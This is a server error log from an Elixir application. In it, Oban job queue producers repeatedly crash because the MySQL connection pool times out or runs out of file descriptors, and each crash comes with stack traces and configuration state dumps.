** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:24:57.241071Z], limit: 50, uuid: "09e1c2d9-6dea-4e4a-9267-2660e6f62db4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:57.241077Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.37107>, refresh_timer: #Reference<0.2525715032.1068498948.58042>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:24:57.239690Z], limit: 20, uuid: "35003fce-f29b-4e61-a0f5-f7345adc466e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:57.239695Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58052>, refresh_timer: #Reference<0.2525715032.1099431938.58030>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:24:57.239424Z], limit: 5, uuid: "e7c3ad8a-bd1d-4d5c-98d3-f6caebd4cc16", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:57.239428Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.37108>, refresh_timer: #Reference<0.2525715032.1099431938.58015>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:24:57.239996Z], limit: 3, uuid: "7cd710b2-38f7-4a86-881f-2fc6a06f7777", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:57.240000Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.187528>, refresh_timer: #Reference<0.2525715032.1099431938.58044>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:24:57.239258Z], limit: 10, uuid: "98f2d167-46f2-4616-a301-8ccf90149e47", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:57.239264Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58053>, refresh_timer: #Reference<0.2525715032.1099431938.58009>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:13.051000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:14.168000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:17.354000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:18.111000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:25:09.239202Z], limit: 20, uuid: "13cb5ff9-01c1-4afc-a948-b500b1ffc8af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:09.239209Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.187955>, refresh_timer: #Reference<0.2525715032.1068498948.58102>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:25:09.239102Z], limit: 50, uuid: "0a7c3ea7-3e93-4d40-bd64-0a4cd6b8b0a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:09.239108Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.187953>, refresh_timer: #Reference<0.2525715032.1077673987.37264>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:25:09.239224Z], limit: 10, uuid: "b86dfc55-dd14-47fe-93e5-372295b8d90c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:09.239230Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.187950>, refresh_timer: #Reference<0.2525715032.1121189889.187930>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:25:09.239259Z], limit: 5, uuid: "ba701419-3871-4508-ab41-1096ec872414", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:09.239263Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.187952>, refresh_timer: #Reference<0.2525715032.1077673987.37275>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
